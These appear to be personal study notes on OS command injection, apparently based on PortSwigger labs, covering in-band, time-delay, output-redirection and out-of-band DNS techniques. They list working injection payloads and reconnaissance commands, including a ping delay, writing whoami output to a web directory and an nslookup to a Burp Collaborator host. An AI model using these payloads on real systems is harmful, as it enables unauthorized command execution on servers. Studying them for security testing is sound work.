OS Command Injection

Executing arbitrary commands

 The page executes a script to check whether a product is in stock. The script takes two arguments, which is where a command may be injected.

URL: https://insecure-website.com/stockStatus?

productID=381&storeID=29

COMMAND: stockreport.pl 381 29 INJECTION: & echo aiwefwlguh &

EXECUTION: stockreport.pl & echo aiwefwlguh & 29

OUTPUT: Error - productID was not provided

aiwefwlguh

29: command not found

NOTE: Line 1 shows that the script was executed.

Line 2 shows that the `echo` command was executed.

Line 3 shows that 29 was excuted as a command

IMPORTANT: & or | can be used as command separator

Useful commands

1. Get name of current user

LINUX: whoami WINDOWS: whoami

2. Get operating system

LINUX: uname -a

WINDOWS: ver

3. Get network configuration

LINUX: ifconfig WINDOWS: ipconfig /all

4. Get network connections

LINUX: netstat -an
WINDOWS: netstat -an

5. Get running processes

LINUX: ps -ef WINDOWS: tasklist

Blind OS command injection vulnerabilities

- Application does not return the output from the command
- An application could allow its users to submit feedback, where the server-side will take the users input and execute the mail command

mail -s "This site is great" -aFrom:peter@normal-user.net
feedback@vulnerable-website.com

• Techniques like using echo will not return any results

Detecting blind OS command injection using time delays

• ping command can be used to create a time delay

INJECTION: & ping -c 10 127.0.0.1 &

Example:

PAYLOAD: csrf=NHIfx68hTwEX55uGjyRivZuACA0N2nZL&name=a&email=a%

40gmail.com&subject=a&message=a

NOTE: This payload is send to the server-side to be used as

arguments to send an email.

A ping command could be injected into the email argument

INJECTION: | ping -c 10 127.0.0.1 |

NOTE: This command tries to ping localhost by sending 10 ICMP

packets

Exploiting blind OS command injection by redirecting output

INJECTION: & whoami > /var/www/static/whoami.txt &
possibly need to replace & with || or |

NOTE: /var/www/static represents the file directory of where images are loaded from, or any

vulnerable filepath we know and can view. In the portswigger example it was var/www/images

To view the whoami.txt, go to a link that loads and image and edit the request in burp to whoami.txt.

Exploiting blind OS command injection using out-of-band (OAST) techniques

INJECTION: ||nslookup+x.burpcollaborator.net||

NOTE: This should trigger a DNS lookup command, in a real world example we would need to

go further and actually use the burpcollaborator client to verify the DNS command was sent.